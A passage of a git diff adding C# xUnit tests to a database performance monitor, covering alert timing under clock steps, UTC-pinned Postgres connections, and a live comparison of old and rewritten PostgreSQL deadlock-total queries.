+            h.Now = clock.Now;
+            clock.Floor.Tick(clock.Now);
+
+            /* About 2,000 skipped of the 9,100 due in the bunch; every minute after it is clean. */
+            if (uptime <= 6)
+            {
+                clock.Record(1300, 290);
+            }
+            else
+            {
+                clock.Record(1000, 0);
+            }
+
+            var report = clock.Read();
+            if (uptime >= 30)
+            {
+                Assert.True(report.IsJudged);
+                Assert.Equal(0, report.Skipped);
+            }
+
+            await e.ApplyFleetGateAsync(report, Ct);
+        }
+
+        Assert.Empty(h.Deliverer.Outcomes);
+    }
+
+    [Fact]
+    public async Task A30MinuteStepForwardAtUptime40_JudgesAllTheJudgedMinutes_NotOnlyTheOnesAfterTheStep()
+    {
+        var clock = new Clock();
+        var h = new DarlingSelfAlertTests.Harness();
+        var e = h.Build();
+
+        /* 25 judged minutes (uptime 15 to 40) at 6% skipped: recorded, nobody has looked yet. */
+        for (var uptime = 1; uptime <= 40; uptime++)
+        {
+            clock.Now = clock.Now.AddMinutes(1);
+            clock.Floor.Tick(clock.Now);
+            var judgedMinute = uptime >= DarlingSelfAlertEvaluator.FleetGateStartupMinutes;
+            clock.Record(judgedMinute ? 940 : 1000, judgedMinute ? 60 : 0);
+        }
+
+        /* The clock steps 30 minutes forward, and the first minute after it is clean. */
+        clock.Now = clock.Now.AddMinutes(1);
+        clock.StepWall(TimeSpan.FromMinutes(30));
+        clock.Floor.Tick(clock.Now);
+        clock.Record(1000, 0);
+        h.Now = clock.Now;
+
+        var report = clock.Read();
+        Assert.Equal(26, report.JudgedMinutes);
+        Assert.Equal(26 * 60, report.Skipped);
+        Assert.Equal(26 * 940 + 1000, report.Run);
+
+        Assert.True(await e.EvaluateFleetGateAsync(report, Ct));
+        var fired = Assert.Single(h.Deliverer.Outcomes);
+        Assert.Contains("in the last 26 minutes", fired.ShortMessage, StringComparison.Ordinal);
+        Assert.Contains("1,560 of 27,000 due slots", fired.ShortMessage, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void A2MinuteStepBackAtUptime20_LeaksNothingFromMinutes13And14()
+    {
+        var clock = new Clock();
+        for (var uptime = 1; uptime <= 31; uptime++)
+        {
+            clock.Now = clock.Now.AddMinutes(1);
+            if (uptime == 20)
+            {
+                clock.StepWall(TimeSpan.FromMinutes(-2));
+            }
+
+            clock.Floor.Tick(clock.Now);
+
+            /* Minutes 13 and 14 carry the skips; the minutes from 15 on are clean. */
+            clock.Record(uptime is 13 or 14 ? 500 : 1000, uptime is 13 or 14 ? 500 : 0);
+            if (uptime >= 30)
+            {
+                var report = clock.Read();
+                Assert.True(report.IsJudged);
+                Assert.Equal(0, report.Skipped);
+                Assert.Equal((uptime - DarlingSelfAlertEvaluator.FleetGateStartupMinutes + 1) * 1000L, report.Run);
+            }
+        }
+    }
+
+    [Fact]
+    public async Task ARealBacklogFromTheFirstMinute_StillFiresAtUptime30()
+    {
+        var clock = new Clock();
+        var h = new DarlingSelfAlertTests.Harness();
+        var e = h.Build();
+        DateTime? firedAt = null;
+
+        for (var uptime = 0; uptime <= 60; uptime++)
+        {
+            clock.Now = T0.AddMinutes(uptime);
+            h.Now = clock.Now;
+            clock.Floor.Tick(clock.Now);
+            clock.Record(940, 60);
+            var before = h.Deliverer.Outcomes.Count;
+            await e.ApplyFleetGateAsync(clock.Read(), Ct);
+            if (h.Deliverer.Outcomes.Count > before)
+            {
+                firedAt ??= clock.Now;
+            }
+        }
+
+        Assert.Equal(T0.AddMinutes(DarlingSelfAlertEvaluator.FleetGateStartupMinutes + DarlingSelfAlertEvaluator.FleetGateMinJudgedMinutes), firedAt);
+        Assert.Single(h.Deliverer.Outcomes);
+    }
+
+    [Fact]
+    public void ASeedStampAheadOfAClockThatSteppedBack_IsClampedToNow_SoTheSlotsAfterItAreCounted()
+    {
+        var floor = new SkipCreditFloor();
+        floor.Tick(T0);
+        var stamp = T0.AddMinutes(4.5).Ticks;
+        var steppedBack = T0.AddMinutes(-25);
+
+        /* The first pass after the step moves the stamp down to now; the later passes count from there. */
+        var clamped = SkipCreditFloor.ClampSeedStamp(stamp, steppedBack);
+        Assert.Equal(steppedBack.Ticks, clamped);
+        Assert.Equal(steppedBack.Ticks, SkipCreditFloor.ClampSeedStamp(clamped, steppedBack.AddMinutes(1)));
+        Assert.Equal(stamp, SkipCreditFloor.ClampSeedStamp(stamp, T0.AddMinutes(5)));
+
+        /* The stored stamp follows (the ref overload is what the collector pass calls). */
+        var stored = stamp;
+        Assert.Equal(steppedBack.Ticks, SkipCreditFloor.ClampSeedStamp(ref stored, steppedBack));
+        Assert.Equal(steppedBack.Ticks, stored);
+
+        var due = steppedBack;
+        var later = steppedBack.AddMinutes(3);
+        Assert.Equal(3, floor.Skipped(due, later, Minute, new DateTime(clamped, DateTimeKind.Utc)));
+    }
+
+    [Fact]
+    public void TheJudgedCounts_AreChosenWhenASlotIsRecorded_AndFoldWithAClockStepLikeTheOthers()
+    {
+        var clock = new Clock();
+        for (var m = 0; m < 30; m++)
+        {
+            clock.Now = T0.AddMinutes(m);
+            clock.Record(10, m < 20 ? 5 : 0);
+            clock.Stats.RecordQueueWait(TimeSpan.FromSeconds(m + 1));
+        }
+
+        /* The shared counts hold all 30 minutes; the judged ones hold the 15 recorded at uptime 15 or later. */
+        var full = clock.Stats.Snapshot();
+        var judged = clock.Stats.SnapshotJudged();
+        Assert.Equal(300, full.Run);
+        Assert.Equal(100, full.Skipped);
+        Assert.Equal(30, full.QueueWaits);
+        Assert.Equal(150, judged.Run);
+        Assert.Equal(25, judged.Skipped);
+        Assert.Equal(15, judged.QueueWaits);
+        Assert.Equal(TimeSpan.FromSeconds(30), judged.QueueWaitMax);
+
+        /* A step back folds the buckets ahead of the clock into the current minute and keeps both pairs. */
+        clock.StepWall(TimeSpan.FromMinutes(-100));
+        Assert.Equal(full, clock.Stats.Snapshot());
+        Assert.Equal(judged, clock.Stats.SnapshotJudged());
+
+        /* Without an uptime clock nothing is judged. */
+        var untimed = new FleetGateStats(() => T0);
+        untimed.RecordSlot(3);
+        untimed.RecordSkippedSlots(2);
+        Assert.Equal(5, untimed.Snapshot().Skipped);
+        Assert.Equal(default, untimed.SnapshotJudged());
+    }
+
+    [Fact]
+    public void ASeedFloor_CountsASlotOnlyFromTheEndOfTheSeeding()
+    {
+        var floor = new SkipCreditFloor();
+        floor.Tick(T0);
+        var due = T0;
+        var now = T0.AddSeconds(100);
+
+        /* Due at T0 and run at +100 s: one slot stepped over. The body that seeded it ran until +70 s, so it had only +30 s to run. */
+        Assert.Equal(1, floor.Skipped(due, now, Minute));
+        Assert.Equal(0, floor.Skipped(due, now, Minute, T0.AddSeconds(70)));
+
+        /* A seed floor older than the loop's own floor changes nothing, and neither does none. */
+        Assert.Equal(1, floor.Skipped(due, now, Minute, T0.AddSeconds(-10)));
+        Assert.Equal(1, floor.Skipped(due, now, Minute, default));
+    }
+
+    [Theory]
+    [InlineData(5, 5)]
+    [InlineData(4.5, 5)]
+    [InlineData(0.2, 1)]
+    [InlineData(59.5, 60)]
+    [InlineData(60, 60)]
+    [InlineData(300, 60)]
+    public void TheLogLine_NamesTheRealSpan_WhileTheServiceHasRunUnderAnHour(double minutesSinceStart, int expectedSpan)
+    {
+        var clock = new Clock();
+        clock.Now = T0.AddMinutes(minutesSinceStart);
+        clock.Record(100, 30);
+        var span = FleetGateLine.SpanMinutes(clock.Floor.Uptime);
+        Assert.Equal(expectedSpan, span);
+
+        var line = FleetGateLine.Describe(clock.Stats.Snapshot(), 4, span);
+        if (expectedSpan < FleetGateStats.WindowMinutes)
+        {
+            Assert.Contains($"last {expectedSpan} minutes, since the service started: 100 collector slots ran", line, StringComparison.Ordinal);
+            Assert.DoesNotContain("last 60 minutes", line, StringComparison.Ordinal);
+        }
+        else
+        {
+            Assert.Contains("last 60 minutes: 100 collector slots ran", line, StringComparison.Ordinal);
+            Assert.DoesNotContain("since the service started", line, StringComparison.Ordinal);
+        }
+
+        Assert.Equal(60, FleetGateLine.SpanMinutes(null));
+    }
+
+    [Fact]
+    public void TheLogLinesWarningLevel_FollowsTheAlertsJudgment_NotTheRawCounts()
+    {
+        var clock = new Clock();
+        clock.Record(700, 300);
+
+        /* 5 minutes in: the raw hour is at 30%, and the line is not a Warning, because the alert does not judge these minutes. */
+        for (var m = 1; m <= 5; m++)
+        {
+            clock.Floor.Tick(T0.AddMinutes(m));
+        }
+
+        clock.Now = T0.AddMinutes(5);
+        var early = clock.Read();
+        Assert.True(new DarlingSelfAlertEvaluator.FleetGateReport(700, 300, 0, TimeSpan.Zero, TimeSpan.Zero, 4, clock.Now).IsBehind);
+        Assert.False(DarlingWorker.FleetGateLogIsBehind(false, early));
+
+        /* A standing alert is a Warning whatever the window. */
+        Assert.True(DarlingWorker.FleetGateLogIsBehind(true, early));
+
+        /* Past the start-up minutes and behind: a Warning, with the real span in the line. */
+        for (var m = 6; m <= 31; m++)
+        {
+            clock.Now = T0.AddMinutes(m);
+            clock.Floor.Tick(clock.Now);
+            if (m >= DarlingSelfAlertEvaluator.FleetGateStartupMinutes)
+            {
+                clock.Record(936, 64);
+            }
+        }
+
+        var late = clock.Read();
+        Assert.True(late.IsJudged);
+        Assert.True(DarlingWorker.FleetGateLogIsBehind(false, late));
+        var (full, _) = DarlingWorker.ReadFleetGate(clock.Stats, clock.Floor.Uptime, 4, clock.Now);
+        Assert.Contains("last 31 minutes, since the service started", FleetGateLine.Describe(full, 4, FleetGateLine.SpanMinutes(clock.Floor.Uptime)), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheConnectBody_StampsWhenItFinishedSeeding_AndTheCollectorPassCountsFromThere()
+    {
+        /* The connect path needs a store, so this is a source pin: the stamp is written after the seeding loop and before the
+           pass counts from it. The behaviour is in ASeedFloor_CountsASlotOnlyFromTheEndOfTheSeeding. */
+        var source = ServerConnectBackoffTests.ReadWorkerSource();
+
+        var stamp = source.IndexOf("Interlocked.Exchange(ref server.SeedFinishedTicks, DateTime.UtcNow.Ticks);", StringComparison.Ordinal);
+        var seeding = source.IndexOf("server.NextDue[name] = ComputeSeededNextDue(lastRun, effective.FrequencyMinutes, now, jitter);", StringComparison.Ordinal);
+        Assert.True(seeding >= 0 && stamp > seeding, "the stamp must follow the seeding of the due times");
+        Assert.Contains(
+            "var seeded = new DateTime(SkipCreditFloor.ClampSeedStamp(ref server.SeedFinishedTicks, now), DateTimeKind.Utc);",
+            source, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/FleetIdentifierScrubTests.cs b/Darling/Darling.Tests/FleetIdentifierScrubTests.cs
index e2d7bf1223..4207ee9f78 100644
--- a/Darling/Darling.Tests/FleetIdentifierScrubTests.cs
+++ b/Darling/Darling.Tests/FleetIdentifierScrubTests.cs
@@ -47,6 +47,8 @@ wrong reason" failure the scanned-count assert exists to catch. So those two cat
     Neither is needed to maintain the guard, both are useful only to someone working out where it
     does not look, and this file is public. Their absence is load-bearing, not an oversight.
 */
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class FleetIdentifierScrubTests
 {
     /* Greek letters and role words -- nothing here names a real customer. pgmonitor is a role
@@ -78,6 +80,8 @@ fleet has a pg-* store as well as use[0-9] ones.
     private static readonly HashSet<string> OrdinalRoleWords = new(StringComparer.OrdinalIgnoreCase)
     {
         "prod", "dev", "local", "sql", "aurora", "srv", "box", "web", "target", "bench", "gone",
+        // A zone offset in the time range picker's label and tests ("UTC-04:00", #5562): a clock offset, never a tenant.
+        "utc",
     };
 
     /*
diff --git a/Darling/Darling.Tests/FleetOverviewAzureMasterScopeLiveTests.cs b/Darling/Darling.Tests/FleetOverviewAzureMasterScopeLiveTests.cs
index 161d1b9d65..7a39d4e684 100644
--- a/Darling/Darling.Tests/FleetOverviewAzureMasterScopeLiveTests.cs
+++ b/Darling/Darling.Tests/FleetOverviewAzureMasterScopeLiveTests.cs
@@ -395,7 +395,10 @@ private static async Task<T> RunAsync<T>(
         await connection.OpenAsync(ct);
         await PgMigrations.MigrateAsync(connection, ct);
         await DeleteRowsAsync(connection, ct);
-        await using var postgres = NpgsqlDataSource.Create(cs!);
+        /* #4981: the data source the code under test reads through is pinned to UTC the way every product store
+           connection is (DarlingStoreConnection.PinSessionTimeZoneUtc), so this class does not lean on the test
+           run's own pin of the connection string. */
+        await using var postgres = NpgsqlDataSource.Create(DarlingStoreConnection.PinSessionTimeZoneUtc(cs!));
         var bodySucceeded = false;
         try
         {
@@ -403,7 +406,7 @@ async Task Server(int id, string name, int edition)
             {
                 await Exec(connection, @"
 INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_major_version, sql_engine_edition, created_date, modified_date)
-VALUES ($1, $2, $2, TRUE, 16, $3, now()::timestamp, now()::timestamp)
+VALUES ($1, $2, $2, TRUE, 16, $3, now() AT TIME ZONE 'UTC', now() AT TIME ZONE 'UTC')
 ON CONFLICT (server_id) DO UPDATE SET is_enabled = TRUE, sql_engine_edition = $3", ct, id, name, edition);
                 await Exec(connection, "INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, engine_edition) VALUES ($1,$2,$3,$4,$5)",
                     ct, CollectionIdGenerator.Next(), DateTime.UtcNow.AddMinutes(-30), id, name, edition);
@@ -468,10 +471,13 @@ public void Log<TState>(LogLevel logLevel, EventId eventId, TState state, Except
             lines.Add(logLevel + ": " + formatter(state, exception));
     }
 
+    /* #4981: a DateTime is bound as naive UTC (Kind Unspecified, a plain timestamp). A Kind=Utc value goes out as
+       timestamptz, which the server turns back into a naive value in the SESSION's time zone, so seeds written this
+       way only held where the session happened to be UTC. */
     private static async Task Exec(NpgsqlConnection c, string sql, CancellationToken ct, params object[] p)
     {
         using var cmd = new NpgsqlCommand(sql, c);
-        foreach (var v in p) cmd.Parameters.AddWithValue(v);
+        foreach (var v in p) cmd.Parameters.AddWithValue(v is DateTime d ? DateTime.SpecifyKind(d, DateTimeKind.Unspecified) : v);
         await cmd.ExecuteNonQueryAsync(ct);
     }
 
diff --git a/Darling/Darling.Tests/FleetPageAttentionFilterTests.cs b/Darling/Darling.Tests/FleetPageAttentionFilterTests.cs
index ebfb5b2f51..21f3e8ab01 100644
--- a/Darling/Darling.Tests/FleetPageAttentionFilterTests.cs
+++ b/Darling/Darling.Tests/FleetPageAttentionFilterTests.cs
@@ -301,7 +301,7 @@ public void TheGrid_IsFilteredOnce_AndBothViewsShowTheActiveState()
            57" invites reading 4 as the fleet's problem count; the other 53 were never looked at. */
         Assert.Contains("attentionNotice(matched.length, searched.length)", FleetJs, StringComparison.Ordinal);
 
-        Assert.Contains("mount(gridNode, [notice, renderGrouped(matched)]);", FleetJs, StringComparison.Ordinal);
+        Assert.Contains("mount(gridNode, [silenceNoticeNode(), notice, renderGrouped(matched)]);", FleetJs, StringComparison.Ordinal);
 
         /* One sentence per state. The notice already explains an empty grid whenever it is showing, and in
            more precise words, so the grid-area fallback is suppressed under it rather than stacking a second
diff --git a/Darling/Darling.Tests/FleetPgDeadlockFlatPairLiveTests.cs b/Darling/Darling.Tests/FleetPgDeadlockFlatPairLiveTests.cs
new file mode 100644
index 0000000000..69022e365f
--- /dev/null
+++ b/Darling/Darling.Tests/FleetPgDeadlockFlatPairLiveTests.cs
@@ -0,0 +1,378 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5526: the fleet's PostgreSQL deadlock totals order only the <c>(server_id, database_name)</c> pairs whose
+/// counter moved (or has a NULL in it); a pair with a counter in every row that never changes has only zero
+/// differences, so it is counted from one unordered aggregate instead (<c>n - 1</c> intervals, nothing else).
+/// The answers must come out IDENTICAL to the previous one-window-over-the-whole-fleet read. This runs the
+/// PREVIOUS query text (kept below as a literal, the way the issue quotes it) and the shipped
+/// <see cref="DarlingFleetReader.FleetPgDeadlockSql"/> and <see cref="ViewerDataService.FleetTotalsSql"/>
+/// against the same seed and compares them field by field.
+///
+/// <para><b>The seed is shaped to separate every plausible wrong rewrite.</b> One server's series has a
+/// counter reset inside the window (110 to 113 to 5, a -108 that must clamp to zero and not subtract), a
+/// stats reset (the post-reset rows carry a new <c>stats_reset</c>), a NULL-named shared-relation series that
+/// moves, a database that first appears mid-window, a row BEFORE the window that a difference must not reach
+/// back to (the window-bounded <c>LAG</c> gives the first in-window row a NULL difference), and a retried
+/// write of one sample (two rows, same timestamp and value). A second server has one row in the window and
+/// the same database name as the first (a read that lost the server partition would difference across them;
+/// a rewrite that dropped one-row servers would lose its <c>intervals</c> = 0 row). A third has a flat series
+/// and a rising one. A fourth has rows only outside the window and must not appear at all. A fifth has ONLY
+/// flat pairs (a retried-write twin, a zero counter, a NULL-named flat series): its row comes from the
+/// aggregate alone, <c>cnt</c> 0, <c>last_seen</c> NULL, <c>intervals</c> the sum of <c>n - 1</c>. A sixth has
+/// NULL counters: a constant series with one NULL in it (every difference touching the NULL is NULL, so it is
+/// NOT flat: dropping the "a counter in every row" half of the rule counts three intervals where there is
+/// one), a series that is NULL throughout, and one that is NULL and then moves. A seventh has a NULL-named
+/// series that moves, which only the <c>IS NULL</c> branch of the ordered read can find.</para>
+///
+/// <para>Two generated seeds then run the same comparison on a few thousand rows: a mixed one (about one pair
+/// in seven moves; one resets, one has a NULL in a constant run, one is NULL throughout) and one where every
+/// pair moves, where the ordered read is the whole table.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class FleetPgDeadlockFlatPairLiveTests
+{
+    /* NEGATIVE, per this family's convention (see FleetCardPostgresCpuLivePostgresTests). */
+    private const int ResetServerId = -993_5261;
+    private const int LonelyServerId = -993_5262;
+    private const int FlatServerId = -993_5263;
+    private const int OutsideServerId = -993_5264;
+    private const int FlatOnlyServerId = -993_5265;
+    private const int NullCounterServerId = -993_5266;
+    private const int NullNamedMovesServerId = -993_5267;
+
+    /* The generated seeds use six servers each, counting down from here. */
+    private const int GeneratedFirstServerId = -993_5270;
+    private const int GeneratedServerCount = 6;
+
+    private static readonly int[] SentinelIds =
+    [
+        ResetServerId, LonelyServerId, FlatServerId, OutsideServerId, FlatOnlyServerId, NullCounterServerId,
+        NullNamedMovesServerId,
+        .. Enumerable.Range(0, GeneratedServerCount).Select(i => GeneratedFirstServerId - i),
+    ];
+
+    /// <summary>The query as it stood before #5526: one window over every server's rows. Do not "fix" this
+    /// copy; it is the reference the shipped text is compared against.</summary>
+    private const string PreviousFleetPgDeadlockSql = @"
+WITH sampled AS
+(
+    SELECT
+        server_id,
+        collection_time,
+        deadlocks - LAG(deadlocks) OVER (PARTITION BY server_id, database_name ORDER BY collection_time) AS raw_delta
+    FROM pg_database_stats
+    WHERE collection_time >= $1
+    AND   collection_time <= $2
+)
+SELECT
+    server_id,
+    CAST(coalesce(SUM(GREATEST(raw_delta, 0)), 0) AS bigint) AS cnt,
+    MAX(collection_time) FILTER (WHERE raw_delta > 0) AS last_seen,
+    CAST(count(raw_delta) AS bigint) AS intervals
+FROM sampled
+GROUP BY server_id";
+
+    /// <summary>The previous fleet-totals PostgreSQL arm, on its own.</summary>
+    private const string PreviousViewerPgTotalSql = @"
+SELECT CAST(COALESCE(SUM(GREATEST(sampled.raw_delta, 0)), 0) AS bigint)
+FROM
+(
+    SELECT deadlocks - LAG(deadlocks) OVER (PARTITION BY server_id, database_name ORDER BY collection_time) AS raw_delta
+    FROM pg_database_stats
+    WHERE collection_time >= $1
+    AND   collection_time <= $2
+) AS sampled";
+
+    private sealed record Row(int ServerId, long Count, DateTime? LastSeen, long Intervals);
+
+    [Fact]
+    public async Task TheShippedReads_GiveTheSameTotalsAsThePreviousFleetWideWindow_OnTheHandSeedAndTwoGeneratedSeeds()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live fleet deadlock-total comparison.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteSentinelRowsAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            var now = DateTime.UtcNow;
+            var start = now.AddHours(-3);
+            DateTime M(int minutesAgo) => now.AddMinutes(-minutesAgo);
+
+            /* Server 1: counter reset + stats reset on "orders"; a NULL-named series; "billing" that starts
+               mid-window; a row before the window the first in-window row must not difference against. */
+            await InsertAsync(connection, ResetServerId, "orders", M(240), 100, null, ct);
+            await InsertAsync(connection, ResetServerId, "orders", M(150), 110, null, ct);
+            await InsertAsync(connection, ResetServerId, "orders", M(120), 110, null, ct);
+            await InsertAsync(connection, ResetServerId, "orders", M(90), 113, null, ct);
+            await InsertAsync(connection, ResetServerId, "orders", M(90), 113, null, ct);   // a retried write of the same sample
+            await InsertAsync(connection, ResetServerId, "orders", M(60), 5, M(61), ct);    // reset: -108 clamps to 0
+            await InsertAsync(connection, ResetServerId, "orders", M(30), 6, M(61), ct);    // +1 survives the reset
+            await InsertAsync(connection, ResetServerId, "orders", M(10), 6, M(61), ct);
+            await InsertAsync(connection, ResetServerId, null, M(150), 9, null, ct);
+            await InsertAsync(connection, ResetServerId, null, M(100), 9, null, ct);
+            await InsertAsync(connection, ResetServerId, null, M(50), 12, null, ct);
+            await InsertAsync(connection, ResetServerId, "billing", M(40), 0, null, ct);
+            await InsertAsync(connection, ResetServerId, "billing", M(20), 2, null, ct);
+
+            /* Server 2: ONE row in the window, the same database name as server 1, plus older rows. */
+            await InsertAsync(connection, LonelyServerId, "orders", M(300), 7, null, ct);
+            await InsertAsync(connection, LonelyServerId, "orders", M(45), 50, null, ct);
+
+            /* Server 3: a flat series and a rising one, in the same two minutes as each other. */
+            await InsertAsync(connection, FlatServerId, "app", M(80), 12, null, ct);
+            await InsertAsync(connection, FlatServerId, "app", M(70), 12, null, ct);
+            await InsertAsync(connection, FlatServerId, "app", M(60), 12, null, ct);
+            await InsertAsync(connection, FlatServerId, "reports", M(80), 1000, null, ct);
+            await InsertAsync(connection, FlatServerId, "reports", M(70), 1002, null, ct);
+            await InsertAsync(connection, FlatServerId, "reports", M(60), 1005, null, ct);
+
+            /* Server 4: rows only outside the window. */
+            await InsertAsync(connection, OutsideServerId, "orders", M(400), 1, null, ct);
+            await InsertAsync(connection, OutsideServerId, "orders", M(390), 9, null, ct);
+
+            /* Server 5: ONLY flat pairs. "app" five rows (one a retried-write twin) = 4 intervals; "jobs" three
+               rows of 0 = 2; the NULL-named series three rows of 4 = 2. */
+            await InsertAsync(connection, FlatOnlyServerId, "app", M(100), 7, null, ct);
+            await InsertAsync(connection, FlatOnlyServerId, "app", M(90), 7, null, ct);
+            await InsertAsync(connection, FlatOnlyServerId, "app", M(80), 7, null, ct);
+            await InsertAsync(connection, FlatOnlyServerId, "app", M(80), 7, null, ct);
+            await InsertAsync(connection, FlatOnlyServerId, "app", M(70), 7, null, ct);
+            await InsertAsync(connection, FlatOnlyServerId, "jobs", M(100), 0, null, ct);
+            await InsertAsync(connection, FlatOnlyServerId, "jobs", M(90), 0, null, ct);
+            await InsertAsync(connection, FlatOnlyServerId, "jobs", M(80), 0, null, ct);
+            await InsertAsync(connection, FlatOnlyServerId, null, M(100), 4, null, ct);
+            await InsertAsync(connection, FlatOnlyServerId, null, M(90), 4, null, ct);
+            await InsertAsync(connection, FlatOnlyServerId, null, M(80), 4, null, ct);
+
+            /* Server 6: NULL counters. "gappy" 5, NULL, 5, 5 (one difference is non-NULL); "allnull" NULL x3;
+               "steady" 9 x3 (flat, 2); "late" NULL, NULL, 6, 8 (one difference, 2, newest 20 minutes ago). */
+            await InsertAsync(connection, NullCounterServerId, "gappy", M(100), 5, null, ct);
+            await InsertAsync(connection, NullCounterServerId, "gappy", M(90), null, null, ct);
+            await InsertAsync(connection, NullCounterServerId, "gappy", M(80), 5, null, ct);
+            await InsertAsync(connection, NullCounterServerId, "gappy", M(70), 5, null, ct);
+            await InsertAsync(connection, NullCounterServerId, "allnull", M(100), null, null, ct);
+            await InsertAsync(connection, NullCounterServerId, "allnull", M(90), null, null, ct);
+            await InsertAsync(connection, NullCounterServerId, "allnull", M(80), null, null, ct);
+            await InsertAsync(connection, NullCounterServerId, "steady", M(100), 9, null, ct);
+            await InsertAsync(connection, NullCounterServerId, "steady", M(90), 9, null, ct);
+            await InsertAsync(connection, NullCounterServerId, "steady", M(80), 9, null, ct);
+            await InsertAsync(connection, NullCounterServerId, "late", M(100), null, null, ct);
+            await InsertAsync(connection, NullCounterServerId, "late", M(60), null, null, ct);
+            await InsertAsync(connection, NullCounterServerId, "late", M(40), 6, null, ct);
+            await InsertAsync(connection, NullCounterServerId, "late", M(20), 8, null, ct);
+
+            /* Server 7: a NULL-named series that moves (1, 1, 4) beside a flat "x" (2, 2). */
+            await InsertAsync(connection, NullNamedMovesServerId, null, M(100), 1, null, ct);
+            await InsertAsync(connection, NullNamedMovesServerId, null, M(80), 1, null, ct);
+            await InsertAsync(connection, NullNamedMovesServerId, null, M(35), 4, null, ct);
+            await InsertAsync(connection, NullNamedMovesServerId, "x", M(100), 2, null, ct);
+            await InsertAsync(connection, NullNamedMovesServerId, "x", M(80), 2, null, ct);
+
+            var previous = await ReadRowsAsync(connection, PreviousFleetPgDeadlockSql, start, now, ct);
+            var shipped = await ReadRowsAsync(connection, DarlingFleetReader.FleetPgDeadlockSql, start, now, ct);
+
+            /* The whole result, every server the store has, must match - not only the sentinels. */
+            Assert.Equal(previous.OrderBy(r => r.ServerId).ToList(), shipped.OrderBy(r => r.ServerId).ToList());
+
+            /* And the sentinels carry the numbers worked out by hand, so a pair of queries that agreed on a
+               wrong answer would still fail. Server 1: orders 0+3+0+0+1+0 = 4 over 6 differences (the
+               duplicate-timestamp row differences against its equal-valued twin, 0, whichever of the two
+               comes first; last increase 30 minutes ago); NULL series 0+3 = 3 over 2 (50 ago); billing 2
+               over 1 (20 ago); so 9 over 9, last_seen the newest increase, billing's, 20 minutes ago.
+               Server 2: one row, no difference, last_seen NULL. Server 3: app 0+0, reports 2+3 = 5 over 4,
+               last_seen the last rise, 60 minutes ago. Server 4: absent. */
+            var byId = shipped.ToDictionary(r => r.ServerId);
+            Assert.Equal(9, byId[ResetServerId].Count);
+            Assert.Equal(9, byId[ResetServerId].Intervals);
+            Assert.Equal(DateTime.SpecifyKind(M(20), DateTimeKind.Unspecified), byId[ResetServerId].LastSeen!.Value, TimeSpan.FromMilliseconds(1));
+            Assert.Equal(0, byId[LonelyServerId].Count);
+            Assert.Equal(0, byId[LonelyServerId].Intervals);
+            Assert.Null(byId[LonelyServerId].LastSeen);
+            Assert.Equal(5, byId[FlatServerId].Count);
+            Assert.Equal(4, byId[FlatServerId].Intervals);
+            Assert.Equal(DateTime.SpecifyKind(M(60), DateTimeKind.Unspecified), byId[FlatServerId].LastSeen!.Value, TimeSpan.FromMilliseconds(1));
+            Assert.False(byId.ContainsKey(OutsideServerId));
+
+            /* Server 5: only flat pairs - 4 + 2 + 2 intervals, no count, no last_seen. */
+            Assert.Equal(0, byId[FlatOnlyServerId].Count);
+            Assert.Equal(8, byId[FlatOnlyServerId].Intervals);
+            Assert.Null(byId[FlatOnlyServerId].LastSeen);
+            /* Server 6: gappy 1 + allnull 0 + steady 2 + late 1 = 4 intervals, count 2, last increase 20 ago. */
+            Assert.Equal(2, byId[NullCounterServerId].Count);
+            Assert.Equal(4, byId[NullCounterServerId].Intervals);
+            Assert.Equal(DateTime.SpecifyKind(M(20), DateTimeKind.Unspecified), byId[NullCounterServerId].LastSeen!.Value, TimeSpan.FromMilliseconds(1));
+            /* Server 7: the NULL-named series 0 + 3 over 2 (last 35 ago) and "x" 0 over 1. */
+            Assert.Equal(3, byId[NullNamedMovesServerId].Count);
+            Assert.Equal(3, byId[NullNamedMovesServerId].Intervals);
+            Assert.Equal(DateTime.SpecifyKind(M(35), DateTimeKind.Unspecified), byId[NullNamedMovesServerId].LastSeen!.Value, TimeSpan.FromMilliseconds(1));
+
+            /* The viewer's fleet total: graphs counted by the unchanged arm, plus the PostgreSQL counter
+               differences - which must be the previous arm's number. */
+            var previousPgTotal = await ScalarAsync(connection, PreviousViewerPgTotalSql, start, now, ct);
+            var graphCount = await ScalarAsync(connection,
+                "SELECT COUNT(*) FROM v_deadlocks WHERE deadlock_time >= $1 AND deadlock_time <= $2 AND collection_time >= $3",
+                start, now, ct, EventWindowFloor.For(start));
+            var viewerTotal = await ScalarAsync(connection,
+                "SELECT total_deadlocks FROM (" + ViewerDataService.FleetTotalsSql + ") AS t",
+                start, now, ct, EventWindowFloor.For(start));
+            Assert.Equal(previousPgTotal + graphCount, viewerTotal);
+            Assert.True(previousPgTotal >= 19, "the seed's own PostgreSQL differences (9 + 0 + 5 + 0 + 2 + 3) must be in the fleet total");
+
+            /* A generated mixed seed, then one where every pair moves. Each comparison is the whole result and the
+               viewer's total, previous against shipped. */
+            await DeleteSentinelRowsAsync(connection, ct);
+            await SeedGeneratedAsync(connection, allMove: false, now, ct);
+            await CompareAsync(connection, start, now, ct);
+            await DeleteSentinelRowsAsync(connection, ct);
+            await SeedGeneratedAsync(connection, allMove: true, now, ct);
+            await CompareAsync(connection, start, now, ct);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
